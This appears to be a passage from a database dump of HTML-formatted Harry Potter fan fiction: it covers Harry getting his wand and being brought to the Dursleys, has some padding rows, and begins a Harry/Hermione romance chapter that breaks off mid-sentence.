not a cat they make me\nsneeze. I think I will get ya an owl, yes dead useful, they are. Carry yer mail\nan everything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They\nboth then split up and shuffled towards their destinations. Harry finally saw\nwhat he was looking for &#8220;Ollivanders: Fine Makers of Wands since 382 B.C. He\nentered the shabby shop and realized nobody was in site so quickly rang the\nbell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thought\nI would be seeing you here soon.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\njumped around startled to see an old man with gray eyes looking at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nhave your mother&#8217;s eyes. Your father&#8217;s hair it seems you dodged having his\neyesight.&#8221; the man said slowly and seemed to notice his confusion &#8220;you father\nhad glasses though it seemed you kept your mother&#8217;s eyesight.&#8221; he added.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s\nlike it was only yesterday your mother was in here buying her wand. Ten and a\nquarter inches long, swishy, made of willow. Nice wand for charm work.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your\nfather, on the other hand, favored a mahogany wand. Eleven inches. Pliable. A\nlittle more power and excellent for transfiguration. Well, I say your father\nfavored it, it&#8217;s really the wand that chooses the wizard, of course.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mr.\nOllivander raised one of his pale hands and pushed some of his ink black bangs\nout of his face showing his scar. &#8220;And that&#8217;s where&#8230;&#8230;&#8230;..I&#8217;m sorry to say I sold\nthe wand that did it, 13 and &#189; inches. Powerful wand. Yes very powerful and if\nI knew what it was destined to do&#8230;&#8230;..&#8221;&nbsp;\nhe shook his head solemnly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How\nya doin&#8217; &#8216;Arry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\njumped again to find Hagrid seating himself on an old stool that creaked as he\nput his weight on it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine\njust getting my wand.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good,\ngood one of the most important events in your magical life!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now\nMr. Potter let&#8217;s see here which one is your wand hand?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well,\nI am left handed sir.&#8221;</p>\n\n<p class="MsoNormal">(A/N\nhim being left handed doesn&#8217;t mean anything it&#8217;s just I am left handed and I\nfelt like he should be too!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ok\nthen hold it up there.&#8221; The old man replied then took out a tape measure and\nstarted measuring him. The old man walked away and started shuffling through\nboxes when he noticed the tape measure was still measuring him, on it&#8217;s own! He\nsmiled he was beginning to love the wizarding world.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nenough&#8221; the tape measure immediately stopped. Then Mr. Ollivander shoved a wand\ninto his hand. &#8220;Beech wood and dragon heartstring. 10 and &#188; inches.&#8221; Harry\nlooked at him confused not knowing what to do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Give\nit a wave&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\ndid. Nothing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yew\nand dragon heartstring. 11 inches.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Nothing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mahogany\nwood and unicorn hair interesting combination. 8 and &#189; inches.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Nothing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This\nwent on it seemed like forever and Harry was getting discouraged and doubting\nif he was supposed to be a wizard. &#8220;Tricky customer eh? No matter here try this\ninteresting combination holly and phoenix feather, 11 inches, nice and supple.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ngripped the wand and felt a rush of warmth go through him as he waved it. It\nswished through the air and sending a sparks through the air. Immediately\nHagrid whooped and cheered, while Mr. Ollivander clapped happily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Curious&#8230;&#8230;&#8230;.curious&#8230;&#8230;..&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excuse\nme but what&#8217;s curious?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nremember every single wand I have ever sold Mr. Potter. You see the phoenix\nfeather that lies in that wand gave another feather, only one, and it&#8217;s curious\nthat you&#8217;d be destined for that wand when it&#8217;s brother &#8211; why it&#8217;s brother is\nthe one that gave you that scar.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Remember\nMr. Potter the wand chooses the wizard. I think we can expect great things from\nyou. Since He-Who-Must-Not-Be-Named did great things, terrible, but great\nnonetheless. I just hope that this wand isn&#8217;t destined to use its power the same\nway as before.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwasn&#8217;t sure how much he liked Mr. Ollivander but paid for his wand and walked\nover to Hagrid. Hagrid was holding a cage and inside was a beautiful white owl.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hope\nya like her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of\ncourse I do thanks!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yer\nwelcome &#8216;Arry now come on les get some dinner before I have to take you to the\nDursley&#8217;s.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?!&#8221;\nHarry exclaimed the Dursley&#8217;s were the ones he learned who put him in that\norphanage! They left him at a hospital to be sent away! Why was he going back\nto them!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nsorry I forgot Dumbledore said that ya will be staying with the Dursley&#8217;s from\nnow on.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why!\nThey were the ones who left me in the hospital to be sent off to the\norphanage!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndon&#8217;t know why but thas&#8217; where ya will be livin now during the summers.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ncouldn&#8217;t believe it he never forgave them for abandoning him to the orphanage.\nI mean what respectable boy would. He also felt bad that he wouldn&#8217;t get to say\ngoodbye to his friends.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwas silent throughout the dinner and it seemed Hagrid understood why so didn&#8217;t\ncomment on it. Finally the two instead of taking the bike set off using the\nUnderground towards he learned #4 Private Drive.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Finally\nthey arrived at Little Whinging, Surrey #4 Privet Drive. The house was plain\nand looked very&#8230;&#8230;.normal.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well\nhere we are &#8216;Arry, see you at school. Jus&#8217; knock on the door. Good Luck.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks\nHagrid see you later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bye&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Now\nHarry was standing alone in his new robes. He had changed not wanting to be in\nhis rags another minute. His trunk and Hedwig in her cage at his sides. He\nraised one of his hands and pushed the doorbell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ding\nDong</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nheard people shuffling inside. Then watched as the doorknob turned and the door\nopened revealing&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N\nI hope you like the new chapter! What will happen with Harry and the Dursley&#8217;s\nafter 10 years of pent up anger and hate towards his former guardians? Please\nreview! Anything you have to say about the fic! Suggestions and comments are\nwelcome! I mean how could you not review?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~howdidhenot</p>\n\n\n\n\n\n\n'),
	(197, 2, '<p class="MsoBodyText">!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'),
	(197, 3, '<p class="MsoNormal">Disclaimer:\nI do not own any of this besides the new characters and plot! The rest is JKR’s\nand I am proud to say that this is my fanfic! <i>Let History Repeat Itself</i>\nby <i>Dauphin</i> and <i>Not Myself</i> by <i>Saerry Snape</i>.</p>\n<p class="MsoNormal">!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'),
	(200, 1, '\n\n<p>Disclaimer: You guys know the score. None of this is mine - it\'s all JK Rowling\'s. Well, except for the little poem/song at the beginning here. That\'s mine. </p>\n\n<p>&quot;This morning I woke up to something new</p>\n<p>We can\'t deny that things have changed, between me and you</p>\n<p>It\'s hard to describe the way that I now feel</p>\n<p>I only hope I don\'t wake up to realise, none of it\'s real</p>\n<p>All of this is exciting and strange</p>\n<p>And I know this means that everything will change</p>\n<p>Just yesterday you were only my best friend</p>\n<p>Now I can\'t wait to touch you, all over again</p>\n<p>Suddenly I realise</p>\n<p>All this time my heart\'s been telling me lies&quot;</p>\n\n<p>					</p>\n<p>Revelations</p>\n\n<p>	Hermione sat in the classroom, paying no attention to Professor Binns\' lecture about the history of wizard/muggle relations. Normally, she would have been the only one who actually listened to the Professor. But, lately, she found her mind wandering, not only in this class, but in all of them.</p>\n\n<p>It had started to happen so slowly, that she hadn\'t even realised a vital change was occurring. Until this morning. </p>\n\n<p>She woke up, went down to breakfast in the Great Hall, and he said &quot;Good morning&quot; to her in his usual kind and caring voice. Then, when she looked at him, the full force of what she had started to feel when they\'d first met on the Hogwarts Express six years ago, hit her with the intensity of a magic she\'d never thought existed. All of a sudden, she knew herself. She had always known him, always cared for him, but her mind lied to her heart, and she believed it was nothing more than that.</p>\n\n<p>But now, as if she was confronting this lie head-on, she knew how she really felt. </p>\n\n<p>I\'m in love with him! Hermione thought in a mixture of shock and amazement. I\'m in love with Harry!</p>\n\n<p>&quot;Hermione?&quot; a voice said, interrupting her thoughts. &quot;Hermione, class is over. Are you okay?&quot;</p>\n\n<p>It was Harry. He looked at her with concern clearly evident in his striking green eyes. She could freely admit to herself now how much she loved that look, those eyes.</p>\n\n<p>&quot;Are you alright?&quot; he repeated, a note of desperation entering his voice.</p>\n\n<p>She blinked twice, quickly, snapping herself out of her coma-like state.</p>\n\n<p>&quot;Uh, yeah, yeah, I\'m fine, Harry. Thanks,&quot; she smiled to reassure him as she practically choked out the words. She loved his concern, yet she suddenly felt a strong pain in her heart, the pain of the notion that his concern was merely out of friendship, nothing more. </p>\n\n<p>He began to speak again, the desperation gone, but the concern still evident in every part of him.</p>\n\n<p>&quot;I was looking at you during the lesson. Your eyes were all glazed over, and you looked completely out of it. I\'ve never seen that expression on your face in a lesson before,&quot; he smiled in an impish way. &quot;I mean, Hermione Granger not paying attention in class?! It\'s a scandal big enough to make the Daily Prophet!&quot; </p>\n\n<p>She laughed. &quot;Ha ha, very funny.&quot; Sobering, she continued. &quot;I\'m just not feeling myself today.&quot;</p>\n\n<p>Her heart melted as he wore his worried face once more.</p>\n\n<p>&quot;Then who are you?&quot; her other best friend, Ron Weasley, interrupted. &quot;If you don\'t feel like yourself, who do you feel like?&quot; His eyes grinned mischievously. &quot;You don\'t feel like Pavarti Patil, do you? Cos I\'d love to know how she really feels about me.&quot; </p>\n\n<p>He grinned as Harry and Hermione burst into laughter.</p>\n\n<p>&quot;Come on,&quot; she said, still smiling, &quot;let\'s go to lunch.&quot;</p>\n<p>			</p>\n<p>(	(	(	(	(	(	(				</p>\n<p>The rest of the day passed fairly uneventfully. But then again, Hermione mused, Voldemort could have brought an entire army of Death Eaters into the school, and she wouldn\'t have even blinked.</p>\n\n<p>At the moment, all she could do was think about Harry. Again, she marvelled at her newly discovered emotions. How could she have loved him for six years and never even realised? It seemed impossible to her. Yet she knew it was possible. Now, she knew with a certainty that her academic mind didn\'t even possess, that she did love him. </p>\n\n<p>Hermione found herself walking around in a zombie-like state, unable to concentrate on anything but her thoughts for Harry.</p>\n\n<p>Ron seemed to find this very amusing, as she had temporarily stopped nagging him about this or that. But Harry was Mr Worried Man. Every time he looked at her, his eyes narrowed slightly, as if he was looking at a mental patient that he believed could snap at any second.</p>\n\n<p>Worse than that, Hermione found that she didn\'t know how to behave around her boys anymore. She felt distant to Ron because of her guilt for essentially preferring Harry. The part of her mind that couldn\'t stop thinking as if she was inside a classroom had always thought of their friendship as being like an equilateral triangle. No side was more important than the other. These feelings she now had directly contradicted this theory, and she felt as though she was, in a way, betraying Ron. And to add to that sense of betrayal, she couldn\'t even confide in him as she ordinarily would.</p>\n\n<p>Her reason for distancing herself from Harry was obvious. She seemed to forget how to behave normally around him. How could you have a friendly chat with someone who was more than a friend, and didn\'t even know it? And, as with Ron, she felt a sense of guilt and betrayal for not being able to explain her heart to him, as she had done for six years.</p>\n\n<p>Why didn\'t I ever make close girl friends?, she thought to herself in frustration.</p>\n\n<p>		(	(	(	(	(	(	(</p>\n\n<p>Harry lay back on his bed, staring at the ceiling. He was alone in the dormitory that he shared with Ron and for that he was surprisingly relieved. He loved Ron as his friend, and had been more than thrilled when, at the beginning of this, their seventh year, they\'d been able to move out of the five-person dorm they had shared with Neville Longbottom, Seamus Finnigan and Dean Thomas, into a smaller, yet more comfortable, two-person dorm. But at the moment, his best friend was completing the detention he\'d earned in Professor McGonagall\'s class for having, what Hermione referred to as, &quot;a smart mouth.&quot;</p>\n\n<p>Hermione, Harry thought, suddenly aware that this was why he was glad Ron wasn\'t there. He wanted to be alone to think about her. To try and figure out what was wrong with her.</p>\n\n<p>He\'d noticed her attempts to subtly distance herself from both Harry and Ron. When he\'d brought up his concerns with Ron, his happy-go-lucky friend just dismissed it as being &quot;that time of the month.&quot;</p>\n\n<p>Harry had laughed at Ron\'s explanation, and pretended everything was fine. Except that he knew everything wasn\'t fine. Harry knew Hermione, better than Ron did, and, in Harry\'s mind, perhaps better than she knew herself. He knew her behaviour was not caused by &quot;the female curse&quot;, as Ron liked to call it, in an effort to irritate Hermione.</p>\n\n<p>Harry couldn\'t quite explain it, but lately, in these first few weeks of their last year at Hogwarts, Hermione seemed to look at him differently. At first he had dismissed it, offhand, as being completely in his imagination. But his conscious mind quickly realised what his sub-conscious mind already knew. Hermione had changed.</p>\n\n<p>She had been famous, within the school, for always giving 110% of her attention to the Professor in each and every class. Now, it was rare for her to pay any attention at all!</p>\n\n<p>And, of course, Harry knew that Hermione\'s feelings for himself and Ron, her best friends, had also appeared to change. He wasn\'t sure how exactly, but he didn\'t think it was for the better.</p>\n\n<p>Aside from a rather shaky beginning, when both Harry and Ron found Hermione decidedly boring and far too opinionated to be around, their friendship had blossomed, and become the most important thing in Harry\'s life. He honestly didn\'t know what he would do without the fun-loving and cheeky Ron, or the intelligent and kind Hermione.</p>\n\n<p>Harry could count on his friends for almost anything. Together, they were more whole, more complete, than they were on their own. Harry knew that Ron could be called upon if he needed cheering up, or even just a bit of comic relief in the sometimes harsh atmosphere at Hogwarts. He also knew that Ron would stand by Harry when most people would run in the other direction. Ron was like the brother Harry never had. </p>\n\n<p>Hermione, on the other hand, was much more serious and studious than Ron or Harry. She had helped both of them in the past six school years. Harry didn\'t think a more intelligent person existed, and Hermione was always ready and willing to help out with homework and study. </p>\n\n<p>That was the aspect of her that everyone knew about. Sometimes Harry thought that that was all people saw when they looked at Hermione - just a really smart girl. But Harry knew that there was so much more to her than that.</p>\n\n<p>She was eternally supportive, brave and loyal to a fault. Harry would always remember the time when, in their fourth year, Harry\'s name had come out of the Goblet of Fire and he\'d been entered into the Tri Wizards Tournament. The entire school, including Ron, had blamed and hated him for it, and all but Hermione had abandoned him. Harry didn\'t think he would ever be able to repay her for such loyalty. </p>\n\n<p>She was also unreservedly kind and caring. She put her best friends before herself at all times. She was so genuine, always 100% herself. And despite being top of their year for the past six years, Harry didn\'t know anyone as modest as Hermione.</p>\n\n<p>And she\'s so beautiful, Harry suddenly thought. </p>\n\n<p>He bolted upright on the bed. &quot;Did I just think that?&quot; he said aloud to himself, before stopping, embarrassed, at this uncharacteristic display of the first sign of madness.</p>\n<p>She is, and you know it, his mind yammered back to him.</p>\n\n<p>&quot;Wait, stop,&quot; Harry told himself, no longer caring whether he sounded mad. &quot;Hermione\'s my best friend. She\'s one of the most important people in the world to me. But that\'s as far as it goes. I mean yes, she\'s very pretty, but...&quot;</p>\n\n<p>When are you going to stop lying to yourself? the little voice screamed in his head. You\'ve never seen anyone more beautiful than her. No one\'s even come close. Why can\'t you admit how you feel about her? How you\'ve felt about her since the moment she pushed herself into your train compartment, looking for Trevor? This feeling is never going to go away, no matter how much you try to deny it even exists. Do you really want her to never know how you feel about her? Do you want life to pass you both by, and all the while, she\'ll never know that...</p>\n\n<p>&quot;I love her!&quot; Harry cried out, partly in surprise and partly in defeat. With his eyes wide, he looked around the room, and this revelation somehow made everything seem new and different. He saw the photo frame on his bedside table and snatched it up. It held two photos. One, taken at the end of their first year, showed Hermione sandwiched between Harry and Ron. The three figures all wore equally large grins, and, from time to time, would wave up at Harry. </p>\n\n<p>The other photo was nearly identical to the first, except that it was taken three months ago; a week after the three of them had foiled Voldemort\'s latest plans, and sent him away, hopefully for good. Harry noted the physical changes that could be seen in each of them, from one photo to the other.</p>\n\n<p>Ron had changed the least. His face had become a little fuller, and because of it, his nose did not look quite as long as it really was. His eyes and grin were identical in each.</p>\n\n<p>Harry, himself, had been through several changes. The short and skinny boy present in the first photo had transformed into a handsome, tall and well-toned young man. His jaw had become much more square, which gave him a much more masculine look about him, and it showed signs of stubble. His hair, much to his frustration, had not changed. It was still completely unruly.</p>\n\n<p>Hermione likes it though, he thought to himself. She always sits and plays with it.</p>\n\n<p>Harry smiled at the thought, and continued smiling wistfully as he examined Hermione in each photo.</p>\n\n<p>She had changed the most. Her bushy brown hair had become attractively wavy. Her buckteeth had shrunk in their fourth year and the difference to her smile was remarkable. </p>\n\n<p>Harry blushed slightly as he noticed the changes to her body. The skinny eleven year-old had blossomed into a rather curvaceous seventeen year-old. Harry blushed again, deeper this time, when he observed that the two small bumps on her chest had been replaced by very full breasts.</p>\n\n<p>Harry shook his head, quickly, as if trying to shake out the image he now had of Hermione as a woman.</p>\n\n<p>A very sensuous woman, his mind said slyly.</p>\n\n<p>Harry ignored this, and focused on her eyes. Her beautiful brown eyes, unchanged over time. In her eyes, he always felt as if he could see deep into her heart and soul. But now, suddenly, he realised that he could also see his own soul through her eyes.</p>\n\n<p>He marvelled at how his love for a girl always thought of as only his friend, had transformed into love for the woman that she had become.</p>\n\n<p>He took in a sharp breath. &quot;But look at the way she\'s behaving around me now?&quot; he said aloud. &quot;How can I tell her? It might push her away even further, and I may lose her forever!&quot;</p>\n\n<p>Yes, his mind whispered. There are risks, as there are in any situation involving the heart. But are you a Gryffindor or not? You\'re brave! Besides, if you don\'t tell her, she may pull away from you anyway. It\'s worth the risk.</p>\n\n<p>Harry sighed. &quot;I\'ll see what happens at dinner...&quot;</p>\n\n<p>		(	(	(	(	(	(	(</p>\n\n<p>Hermione sat across the Gryffindor table from Harry and Ron. She tried to behave as she normally did: laugh at Ron\'s jokes, &quot;tsk, tsk&quot; when he told her he hadn\'t completed his homework.... But Harry was making her uncomfortable. The concern that she had seen in his eyes earlier had been replaced by what looked to Hermione like deep sadness and confusion. Why this was, she didn\'t know. He was also being very quiet. Hermione knew Harry well enough to know that, when he was in some kind of depression, he did become very quiet, and would scarcely say a word. At times like that, Hermione found that it relaxed and helped Harry to feel better when she would play with his hair. But what she could only freely admit to herself no, was that it relaxed and improved her state of mind too.</p>\n\n<p>She would sit in her large and comfortable chair by the fire in the Gryffindor common room, and he would sit on the floor at her feet, with his head in her lap. She would entwine her fingers in his hair and massage his scalp, while he looked reflectively in the flames. After a while, he would get up, smile, kiss her on the cheek and go to bed. The next morning, he always returned to being his old self again.</p>\n\n<p>But Hermione knew she couldn\'t do that now. She wanted to, with all of her heart and soul. She was very strong and could withstand many things. But seeing Harry in trouble was never one of them. More than anything, she wanted to make him feel better, as she ordinarily would. Part of her longed to touch him again. But another, at the moment, stronger part of her just couldn\'t.</p>\n\n<p>As much as she knew it would relieve his suffering, and to a certain extent, even her own, it was too hard, too complicated. Now that she had recognised how much she loved him, she didn\'t think touching him, and being with him in that innocent, yet intimate way was good for her. Hermione was scared of opening herself up to Harry, even though she had finally opened up to herself. In her mind, which always sought the most logical answer, one of two things would happen.</p>\n\n<p>Either such intimacy without honesty would hurt her too much to even define, or it would force her to reveal her heart to him - and open the door for Harry\'s rejection. She didn\'t think that she could bare either option at the moment.</p>\n\n<p>&quot;Hermione?&quot; Harry said quietly, jerking her attention back to the here and now. &quot;Are you going to eat? Dinner\'s almost over and you\'ve barely touched your food.&quot;</p>\n\n<p>Hermione looked around her. The Great Hall was now less than a quarter full, and most of the remaining students had finished their meals, and were talking. She looked at Harry and Ron\'s empty plates, and her own practically full one.</p>\n\n<p>She shook her head. &quot;I guess I\'m not that hungry.&quot;</p>\n\n<p>Hermione looked up and met Harry\'s eyes. There was such a mixture of emotion in them; she couldn\'t even begin to entangle what he was thinking and feeling.</p>\n\n<p>&quot;Ron,&quot; someone said in a harsh voice Hermione herself often used when talking to him. &quot;I need to speak to you. Now!&quot;</p>\n\n<p>It was Pavarti Patil, and she looked angry.</p>\n\n<p>Ron flushed and stood, nervously. &quot;Sure, yeah, okay, uh-huh.&quot;</p>\n\n<p>&quot;Stop muttering and come with me,&quot; and Pavarti turned on her heel and walked quickly out of the Hall, towards the staircases.</p>\n\n<p>Ron sighed. &quot;Better go, guys. See you later.&quot;</p>\n\n<p>And with that he was gone, leaving Hermione and Harry essentially alone. There was now only a handful of people left in the Great Hall, and most of them were starting to stir. </p>\n\n<p>&quot;Do you want to go?&quot; Harry asked, still speaking quietly.</p>\n\n<p>Hermione looked cautiously into his brilliant green eyes. &quot;Yeah.&quot;</p>\n\n<p>They walked up the stairs and through the hallways in silence. Ordinarily, the two would talk non-stop, and walk so close together that they were always shoulder to shoulder. Tonight, Hermione made an effort that she was certain Harry had noticed, not to walk to closely next to him. She made sure that there was a significant gap between them at all times.</p>\n\n<p>&quot;Gillyweed,&quot; Hermione said to the Fat Lady as they finally reached the entrance to the Gryffindor common room entrance.</p>\n\n<p>The Fat Lady yawned, and swung forward on her hinges. &quot;Okay, goodnight you two.&quot;</p>\n\n<p>Hermione and Harry entered, and she was very suddenly aware that the room was empty.</p>\n\n<p>Everyone must have gone to bed, she thought. At least this gives me an excuse to leave quickly.</p>\n\n<p>Hermione started to walk towards the staircase that led up to the girls\' dormitories. She stopped and turned around at the foot of the stairs, wanting to say goodnight to Harry, but he was gone.</p>\n\n<p>&quot;Harry?&quot;</p>\n\n<p>&quot;I\'m here,&quot; he answered.</p>\n\n<p>She walked around the side of the couch and saw him. He was sitting on the floor in front of her chair, looking into the fire. He turned to look at her, his green eyes overbright, and seemingly pleading to her.</p>\n\n<p>Hermione\'s heart melted. She cursed herself silently. He needed her, and she was being selfish.</p>\n\n<p>She quickly crossed the remaining distance to him and sat down. Harry lay his head in her lap and closed his eyes. Hermione looked at the ceiling, blinking back tears, as she started to massage 